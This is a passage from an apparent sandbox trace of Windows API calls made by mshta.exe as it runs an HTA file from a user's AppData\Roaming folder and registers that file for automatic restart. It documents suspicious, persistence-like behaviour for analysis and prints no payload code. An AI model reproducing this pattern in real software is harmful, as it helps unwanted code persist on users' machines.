(hKey=0x0) returned 0x6 [0048.712] RegCloseKey (hKey=0x0) returned 0x6 [0048.712] RegCloseKey (hKey=0x9c) returned 0x0 [0048.712] RegCloseKey (hKey=0x98) returned 0x0 [0048.713] GetModuleFileNameW (in: hModule=0x73350000, lpFilename=0x30efe0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshtml.dll" (normalized: "c:\\windows\\syswow64\\mshtml.dll")) returned 0x1e [0048.713] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x3e) returned 0x803d28 [0048.713] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a [0048.713] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b [0048.713] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d [0048.713] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f [0048.713] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e [0048.713] RegisterClipboardFormatA (lpszFormat="MS Forms CLSID") returned 0xc053 [0048.713] RegisterClipboardFormatA (lpszFormat="MS Forms Text") returned 0xc169 [0048.713] GetDC (hWnd=0x0) returned 0x3010b86 [0050.484] SHCreateShellPalette (hdc=0x0) returned 0x8080792 [0051.149] GetPaletteEntries (in: hpal=0x8080792, iStart=0x0, cEntries=0x100, pPalEntries=0x7388a494 | out: pPalEntries=0x7388a494) returned 0x100 [0051.149] SHGetInverseCMAP (in: pbMap=0x73888a7c, cbMap=0x4 | out: pbMap=0x73888a7c) returned 0x0 [0051.149] GetDeviceCaps (hdc=0x3010b86, index=38) returned 32409 [0051.149] ReleaseDC (hWnd=0x0, hDC=0x3010b86) returned 1 [0051.334] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20a) returned 0x80e9c0 [0051.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x2000) returned 0x80f3d8 [0051.336] GetCurrentProcessId () returned 0xcd4 [0051.336] _vsnprintf (in: _DstBuf=0x30f524, _MaxCount=0x16, _Format="%s%08lX", _ArgList=0x30f1ec | out: _DstBuf="#MSHTML#PERF#00000CD4") returned 21 [0051.336] OpenFileMappingA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="#MSHTML#PERF#00000CD4") returned 0x0 [0051.336] GetVersionExW (in: lpVersionInformation=0x30f208*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7f3618, dwMinorVersion=0x100, dwBuildNumber=0x80dbc0, dwPlatformId=0x7f0000, szCSDVersion="A") | out: lpVersionInformation=0x30f208*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0051.336] GetModuleHandleW (lpModuleName="advapi32") returned 0x754b0000 [0051.337] GetProcAddress (hModule=0x754b0000, lpProcName="EventWrite") returned 0x77380c59 [0051.337] GetProcAddress (hModule=0x754b0000, lpProcName="EventRegister") returned 0x7735f6ba [0051.337] GetProcAddress (hModule=0x754b0000, lpProcName="EventUnregister") returned 0x77379241 [0051.337] EtwEventRegister () returned 0x0 [0051.337] EtwRegisterTraceGuidsW () returned 0x0 [0051.337] EtwRegisterTraceGuidsW () returned 0x0 [0051.337] EtwEventRegister () returned 0x0 [0051.486] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Program Files\\Microsoft Office\\Office14\\outllib.dll", lpdwHandle=0x30efd4 | out: lpdwHandle=0x30efd4) returned 0x0 [0051.487] GetModuleHandleW (lpModuleName=0x0) returned 0x620000 [0051.487] GetModuleFileNameW (in: hModule=0x620000, lpFilename=0x30efe0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0051.487] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe" [0051.986] GetCurrentProcessId () returned 0xcd4 [0051.986] GetCurrentProcessId () returned 0xcd4 [0051.989] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Local\\!PrivacIE!SharedMemory!Mutex") returned 0xbc [0051.989] GetLastError () returned 0x0 [0052.141] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10, lpName="Local\\!PrivacIE!SharedMem!Counter") returned 0x100 [0052.141] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x150000 [0052.143] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x191d80 | out: hHeap=0x190000) returned 1 [0052.143] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x191e90 | out: hHeap=0x190000) returned 1 [0052.143] RegCloseKey (hKey=0x42) returned 0x0 [0052.143] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0052.143] GetProcAddress (hModule=0x76e10000, lpProcName="RegisterApplicationRestart") returned 0x76e4b53c [0052.143] lstrlenA (lpString="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta\" ") returned 57 [0052.143] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x74) returned 0x191d80 [0052.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7f2ad8, cbMultiByte=-1, lpWideCharStr=0x191d80, cchWideChar=58 | out: lpWideCharStr="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta\" ") returned 58 [0052.144] RegisterApplicationRestart (pwzCommandline="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta\" ", dwFlags=0x0) returned 0x0 [0052.144] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x191d80 | out: hHeap=0x190000) returned 1 [0052.144] GetProcAddress (hModule=0x73350000, lpProcName="RunHTMLApplication") returned 0x733ae710 [0052.165] GetCommandLineW () returned="\"C:\\Windows\\SysWOW64\\mshta.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta\" " [0052.178] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x78) returned 0x801800 [0052.178] OleInitialize (pvReserved=0x0) returned 0x0 [0058.171] IsWindow (hWnd=0x0) returned 0 [0058.171] RegisterClassW (lpWndClass=0x30f88c) returned 0xc052 [0058.171] CreateWindowExW (dwExStyle=0x0, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x620000, lpParam=0x73889680) returned 0x301fa [0058.172] NtdllDefWindowProc_W () returned 0x0 [0058.172] NtdllDefWindowProc_W () returned 0x1 [0058.173] NtdllDefWindowProc_W () returned 0x0 [0061.259] NtdllDefWindowProc_W () returned 0x0 [0061.260] CreateWindowExW (dwExStyle=0x40000, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x301fa, hMenu=0x0, hInstance=0x620000, lpParam=0x73889680) returned 0x201e6 [0061.260] NtdllDefWindowProc_W () returned 0x0 [0061.261] NtdllDefWindowProc_W () returned 0x1 [0061.261] NtdllDefWindowProc_W () returned 0x0 [0061.261] NtdllDefWindowProc_W () returned 0x0 [0061.261] SetWindowLongW (hWnd=0x201e6, nIndex=-16, dwNewLong=-2100363264) returned 114229248 [0061.262] NtdllDefWindowProc_W () returned 0x0 [0061.262] NtdllDefWindowProc_W () returned 0x0 [0061.262] NtdllDefWindowProc_W () returned 0x0 [0061.262] NtdllDefWindowProc_W () returned 0x0 [0061.263] NtdllDefWindowProc_W () returned 0x0 [0061.263] NtdllDefWindowProc_W () returned 0x0 [0061.263] SetWindowPos (hWnd=0x201e6, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0061.263] NtdllDefWindowProc_W () returned 0x0 [0061.263] NtdllDefWindowProc_W () returned 0x0 [0061.263] NtdllDefWindowProc_W () returned 0x0 [0061.264] NtdllDefWindowProc_W () returned 0x0 [0061.265] NtdllDefWindowProc_W () returned 0x0 [0061.265] SendMessageW (hWnd=0x201e6, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0061.265] NtdllDefWindowProc_W () returned 0x0 [0061.265] NtdllDefWindowProc_W () returned 0x0 [0061.397] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x78) returned 0x801980 [0061.397] PathRemoveArgsW (in: pszPath="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta\" " | out: pszPath="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta\"") [0061.397] PathRemoveBlanksW (in: pszPath="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta\"" | out: pszPath="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta\"") [0061.397] PathUnquoteSpacesW (in: lpsz="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta\"" | out: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta") returned 1 [0061.598] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta", ppmk=0x30f8ec*=0x0, dwFlags=0x1 | out: ppmk=0x30f8ec*=0x8005f0) returned 0x0 [0061.603] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x801980 | out: hHeap=0x7f0000) returned 1 [0061.603] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x81b360 [0061.604] CoCreateInstance (in: rclsid=0x73489770*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7350b75c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x738896d4 | out: ppv=0x738896d4*=0x8221e8) returned 0x0 [0061.608] DllGetClassObject (in: rclsid=0x81f71c*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x7630ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30eba4 | out: ppv=0x30eba4*=0x73888cb0) returned 0x0 [0061.891] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x2a8) returned 0x820518 [0062.264] GetCurrentThreadId () returned 0xcd8 [0062.503] RegisterClassExW (param_1=0x30ea3c) returned 0xc055 [0063.075] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc055, lpWindowName=0x0, dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x73350000, lpParam=0x0) returned 0x60132 [0063.965] GetWindowLongW (hWnd=0x60132, nIndex=-20) returned 0 [0063.965] NtdllDefWindowProc_W () returned 0x1 [0065.142] NtdllDefWindowProc_W () returned 0x0 [0065.903] NtdllDefWindowProc_W () returned 0x0 [0065.918] NtdllDefWindowProc_W () returned 0x0 [0065.922] NtdllDefWindowProc_W () returned 0x0 [0065.928] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x81b438 [0065.928] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x81b450 [0065.928] CreateCompatibleDC (hdc=0x0) returned 0x3010ae4 [0065.934] GetDeviceCaps (hdc=0x3010ae4, index=90) returned 96 [0065.934] GetDeviceCaps (hdc=0x3010ae4, index=88) returned 96 [0065.934] GetSystemMetrics (nIndex=68) returned 4 [0065.934] GetSystemMetrics (nIndex=69) returned 4 [0065.935] GetSystemMetrics (nIndex=2) returned 17 [0065.935] GetSystemMetrics (nIndex=3) returned 17 [0065.935] GetStockObject (i=13) returned 0x18a002e [0065.935] SelectObject (hdc=0x3010ae4, h=0x18a002e) returned 0x18a002e [0065.935] GetTextMetricsW (in: hdc=0x3010ae4, lptm=0x30ead4 | out: lptm=0x30ead4) returned 1 [0065.935] SelectObject (hdc=0x3010ae4, h=0x18a002e) returned 0x18a002e [0065.935] DeleteObject (ho=0x18a002e) returned 1 [0065.935] GetSystemDefaultLCID () returned 0x409 [0065.935] GetUserDefaultLCID () returned 0x409 [0065.935] GetACP () returned 0x4e4 [0065.935] GetLocaleInfoW (in: Locale=0x400, LCType=0x1014, lpLCData=0x30ea48, cchData=41 | out: lpLCData="1") returned 2 [0065.935] _wtoi (_String="1") returned 1 [0065.935] RegCloseKey (hKey=0x0) returned 0x6 [0065.935] GetLocaleInfoW (in: Locale=0x400, LCType=0x13, lpLCData=0x30ea9c, cchData=16 | out: lpLCData="0123456789") returned 11 [0065.935] SystemParametersInfoW (in: uiAction=0x46, uiParam=0x0, pvParam=0x7388b038, fWinIni=0x0 | out: pvParam=0x7388b038) returned 1 [0065.941] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0x30eb10, fWinIni=0x0 | out: pvParam=0x30eb10) returned 1 [0065.956] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xc0) returned 0x8208d0 [0065.956] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x81b468 [0065.956] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa4) returned 0x820998 [0065.957] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14) returned 0x813340 [0065.957] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x1c) returned 0x816d70 [0065.957] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x809118 [0065.957] GetSystemWindowsDirectoryW (in: lpBuffer=0x30e91c, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0065.957] lstrlenW (lpString="C:\\Windows") returned 10 [0065.957] lstrlenW (lpString="\\WindowsShell.manifest") returned 22 [0065.957] CreateActCtxW (pActCtx=0x30e8f8) returned 0x820a4c [0065.959] ActivateActCtx (in: hActCtx=0x820a4c, lpCookie=0x30e8c8 | out: hActCtx=0x820a4c, lpCookie=0x30e8c8) returned 1 [0065.959] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x742e0000 [0066.090] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1fdd0001) returned 1 [0066.091] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInset", nDefault=11) returned 0xb [0066.091] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollDelay", nDefault=50) returned 0x32 [0066.091] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0066.092] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInterval", nDefault=50) returned 0x32 [0066.092] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x30e528, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0066.092] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30e730, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0066.092] GetCurrentProcess () returned 0xffffffff [0066.092] GetModuleBaseNameW (in: hProcess=0xffffffff, hModule=0x0, lpBaseName=0x30e938, nSize=0x104 | out: lpBaseName="mshta.exe") returned 0x9 [0066.092] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe" [0066.092] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14) returned 0x813360 [0066.092] FindAtomW (lpString="TridentEnableHiRes") returned 0x0 [0066.092] SHGetValueW (in: hkey=0x80000001, pszSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", pszValue="NoFileMenu", pdwType=0x30e514, pvData=0x30e520, pcbData=0x30e51c*=0x4 | out: pdwType=0x30e514*=0x0, pvData=0x30e520, pcbData=0x30e51c*=0x4) returned 0x2 [0066.093] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30e48c | out: phkResult=0x30e48c*=0x168) returned 0x0 [0066.093] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30e490 | out: phkResult=0x30e490*=0x164) returned 0x0 [0066.093] RegOpenKeyExW (in: hKey=0x164, lpSubKey="FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS", ulOptions=0x0, samDesired=0x1, phkResult=0x30e44c | out: phkResult=0x30e44c*=0x0) returned 0x2 [0066.093] RegOpenKeyExW (in: hKey=0x168, lpSubKey="FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS", ulOptions=0x0, samDesired=0x1, phkResult=0x30e44c | out: phkResult=0x30e44c*=0x0) returned 0x2 [0066.093] RegCloseKey (hKey=0x0) returned 0x6 [0066.093] RegCloseKey (hKey=0x0) returned 0x6 [0066.093] RegCloseKey (hKey=0x168) returned 0x0 [0066.093] RegCloseKey (hKey=0x164) returned 0x0 [0066.093] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x97c) returned 0x8221e8 [0066.094] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x480) returned 0x822b70 [0066.094] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0066.094] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0066.094] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0066.094] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0066.094] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x821298 [0066.094] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x8212f0 [0066.094] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x821348 [0066.094] GetCurrentThreadId () returned 0xcd8 [0066.094] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x81b528 [0066.094] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x2c) returned 0x80d6e0 [0066.094] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x80) returned 0x8213a0 [0066.094] RegisterClipboardFormatW (lpszFormat="WM_HTML_GETOBJECT") returned 0xc056 [0066.094] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x18) returned 0x813380 [0066.096] CoInternetIsFeatureEnabled (FeatureEntry=0xc, dwFlags=0x2) returned 0x1 [0066.097] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x73888cd4, dwReserved=0x0 | out: ppSM=0x73888cd4*=0x821428) returned 0x0 [0066.101] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x64) returned 0x823560 [0066.117] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4c) returned 0x8235d0 [0066.118] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x28) returned 0x80d038 [0066.118] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14) returned 0x8133a0 [0066.118] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x809168 [0066.118] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x8091b8 [0066.118] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x823628 [0066.118] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x64) returned 0x823690 [0066.118] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x809208 [0066.118] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x823700 [0066.118] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xec) returned 0x823968 [0066.118] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x809258 [0066.118] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x8092a8 [0066.118] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x8092f8 [0066.118] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x823a60 [0066.118] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x823ac8 [0066.118] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x809348 [0066.119] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x809398 [0066.119] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x90) returned 0x823b30 [0066.119] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x140) returned 0x823bc8 [0066.119] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x81b970 [0066.119] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x28) returned 0x80d068 [0066.119] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x18) returned 0x8133c0 [0066.119] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xd0) returned 0x81c3b0 [0066.119] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x38) returned 0x81e0e8 [0066.119] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x128) returned 0x823d10 [0066.119] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x148) returned 0x823e40 [0066.119] GetCurrentThreadId () returned 0xcd8 [0066.188] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x5c) returned 0x823f90 [0066.188] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x18) returned 0x8133e0 [0066.188] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x30e83c | out: ppURI=0x30e83c*=0x81bdd4) returned 0x0 [0066.188] IUri:GetPropertyDWORD (in: This=0x81bdd4, uriProp=0x11, pdwProperty=0x30e824, dwFlags=0x0 | out: pdwProperty=0x30e824*=0x11) returned 0x0 [0066.188] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x82291c, dwReserved=0x0 | out: ppSM=0x82291c*=0x823ff8) returned 0x0 [0066.555] IInternetSecurityManager:SetSecuritySite (This=0x823ff8, pSite=0x822924) returned 0x0 [0066.555] IUnknown:AddRef (This=0x822924) returned 0x28 [0066.555] IUnknown:QueryInterface (in: This=0x822924, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x30e7f4 | out: ppvObject=0x30e7f4*=0x822928) returned 0x0 [0066.555] IServiceProvider:QueryService (in: This=0x822928, guidService=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x824020 | out: ppvObject=0x824020*=0x0) returned 0x80004002 [0066.555] IServiceProvider:QueryService (in: This=0x822928, guidService=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x82401c | out: ppvObject=0x82401c*=0x0) returned 0x80004002 [0066.555] IServiceProvider:QueryService (in: This=0x822928, guidService=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x824018 | out: ppvObject=0x824018*=0x0) returned 0x80004002 [0066.555] IUnknown:Release (This=0x822928) returned 0x0 [0066.555] IInternetSecurityManager:GetSecurityId (in: This=0x823ff8, pwszUrl="about:blank", pbSecurityId=0x30e890, pcbSecurityId=0x30e884*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30e890*=0x61, pcbSecurityId=0x30e884*=0xf) returned 0x0 [0066.672] DllGetClassObject (in: rclsid=0x81f750*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x30de10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30d4c8 | out: ppv=0x30d4c8*=0x73888c70) returned 0x0 [0066.673] IUnknown:AddRef (This=0x73888c70) returned 0x1 [0066.673] IUnknown:Release (This=0x73888c70) returned 0x1 [0066.673] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x30e08c | out: ppvObject=0x30e08c*=0x73888c70) returned 0x0 [0066.673] IUnknown:Release (This=0x73888c70) returned 0x1 [0066.673] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30e24c | out: ppvObject=0x30e24c*=0x73888c7c) returned 0x0 [0066.673] IUnknown:Release (This=0x73888c70) returned 0x1 [0066.673] IInternetProtocolInfo:ParseUrl (in: This=0x73888c7c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x8134a0, cchResult=0xc, pcchResult=0x30e294, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x30e294*=0xc) returned 0x0 [0066.673] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1c) returned 0x821808 [0066.673] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0066.673] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821808 | out: hHeap=0x7f0000) returned 1 [0066.673] IUnknown:Release (This=0x73888c7c) returned 0x1 [0066.674] DllGetClassObject (in: rclsid=0x81f750*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30e160 | out: ppv=0x30e160*=0x73888c70) returned 0x0 [0066.674] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30e24c | out: ppvObject=0x30e24c*=0x73888c7c) returned 0x0 [0066.674] IUnknown:Release (This=0x73888c70) returned 0x1 [0066.674] IInternetProtocolInfo:ParseUrl (in: This=0x73888c7c, pwzUrl="about:blank", 